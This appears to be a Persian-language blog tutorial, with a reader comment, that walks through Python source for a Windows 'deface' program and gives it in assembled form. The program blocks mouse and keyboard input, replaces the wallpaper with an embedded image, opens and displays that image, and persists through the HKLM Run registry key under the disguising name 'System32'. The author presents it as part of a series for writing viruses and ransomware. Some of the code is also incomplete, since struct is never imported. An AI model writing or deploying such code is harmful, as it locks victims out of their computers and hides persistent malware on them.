به نام خدا
سلام عزیزتن امروز میخوام یه دیفسی رو باهم بسازیم که دارای غیرفعال کردن موس، تصویر،باز کردن صفحه یا فایل، کپی در استارت اپ هست...
از اونجایی که با پست های پایتون ما تقریبا دیگه میتونید دیفس ها و باج افزار و ویروس های خوبی بنویسید و دنبال پروژه های چرت نیستید D: شوخی بود D: اینم پست اخر پایتون برای شماست.
خب اول از هرچیز میایم یه اسکریپت باز میکنیم و کتابخونه های زیر رو اضافه میکنیم:
import ctypes #غیرفعال کردن موس و کیبورد و تعویض پس زمینه
import os #باز کردن فایل
from tkinter import * #ساخت پنره
import winreg #کپی در استارت اپ
خب از همون اولی شروع میکنیم، برای غیرفعال کردن موس که به دسترسی ادمین هم نیازمندیم، از تابع زیر استفاده میکنیم :
ctypes.windll.user32.BlockInput(True)
به همین راحتی!!! خب برای تعویض پس زمینه به این پست متوسل میشویم، البته برای انتقال عکستون به سیستم فرد باید سورس عکستون رو داشته باشید که میتونید به شکل زیر عمل کنید((یه اسکریپت جدید باز کنید)) :
with open("عکستون" , "rb") as f:
print(f.read())
حالا عکستون رو سورسش رو میده به باینری و روش راست کلیک و کپی و بزنید اما اگر بخواین تو خود پایتون اجرا کنید با هنگی مواجه میشید در نتیجه اسکریپت رو در نوت پد ++ کپی پیست کنید... خب برای اینکه عکستون یه جایی از سیستم که من همون مسیر برنامه ام هست رو انتخاب میکنم بیارید و ذخیره کنید به شکل زیر عمل کنید :
with open("اسم عکس" , "wb") as f:
f.write(b"\43x\33...") #"کد باینری عکس"
خب حالا عکستون ذخیره شد، خب از این تابع استفاده میکنیم برای تعویض عکس :
SPI_SETDESKWALLPAPER = 20
WALLPAPER_PATH = 'اسم عکس'
def is_64_windows():
"""Find out how many bits is OS. """
return struct.calcsize('P') * 8 == 64
def get_sys_parameters_info():
"""Based on if this is 32bit or 64bit returns correct version of SystemParametersInfo function. """
return ctypes.windll.user32.SystemParametersInfoW if is_64_windows() \
else ctypes.windll.user32.SystemParametersInfoA
def change_wallpaper():
sys_parameters_info = get_sys_parameters_info()
r = sys_parameters_info(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
if not r:
print(ctypes.WinError())
change_wallpaper()
به همین سادگی خب میریم سراغ باز کردنش که کاری هم نداره از startfile استفاده میکنیم :
os.startfile("عکس")
به همین راحتی، خب میریم یه پنجره درست کنیم که من فقط این که چجوری عکس رو توش بزارید رو میگم بقیه اش رو خودتون بلدید، پنجره رو بسازید، اسم پنجره من الان win هست، خب یه تابعی رو درون متغیر فراخوانی میکنیم به اسم PhotoImage و ارگومان فایلش رو عسکتون میدید :
photo = PhotoImage(file = 'عکس')
به همین راحتی، خب با یه نوشته نمایشش میدیم :
Label(win , image = photo).pack()
به همین راحتی برای ریجیستری هم از این پست بهره میگیریم :
from winreg import *
keyVal = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
try:
key = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS)
except:
key = CreateKey(HKEY_LOCAL_MACHINE, keyVal)
SetValueEx(key, "System32", 0, REG_SZ, os.getcwd()+'اسم برنامه')
CloseKey(key)
به همین راحتی ، با کتابخونه time هم بهش یسری تایمر بدید و حال کنید، پایتون هم تا وقتی حمایت نکنید پست نمیزارم هه D:
import ctypes #غیرفعال کردن موس و کیبورد و تعویض پس زمینه
import os #باز کردن فایل
from winreg import *
from tkinter import * #ساخت پنره
import winreg #کپی در استارت اپ
ctypes.windll.user32.BlockInput(True)
SPI_SETDESKWALLPAPER = 20
WALLPAPER_PATH = '1.png'
def is_64_windows():
"""Find out how many bits is OS. """
return struct.calcsize('P') * 8 == 64
def get_sys_parameters_info():
"""Based on if this is 32bit or 64bit returns correct version of SystemParametersInfo function. """
return ctypes.windll.user32.SystemParametersInfoW if is_64_windows() \
else ctypes.windll.user32.SystemParametersInfoA
def change_wallpaper():
sys_parameters_info = get_sys_parameters_info()
r = sys_parameters_info(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
if not r:
print(ctypes.WinError())
os.startfile("1.png")
change_wallpaper()
win = Tk()
photo = PhotoImage(file = 'عکس')
Label(win , image = photo).pack()
keyVal = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
try:
key = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS)
except:
key = CreateKey(HKEY_LOCAL_MACHINE, keyVal)
SetValueEx(key, "System32", 0, REG_SZ, os.getcwd()+'اسم برنامه')
CloseKey(key)
جدی گفتم ، اینم تستش :
خب دیگه خدافظ
حمایت حمایت ! همیشه میخونم پستاتو عاااااااالی هستی فقط آخرش یه کد نهایی بزار برا اسکی سریع ممنون !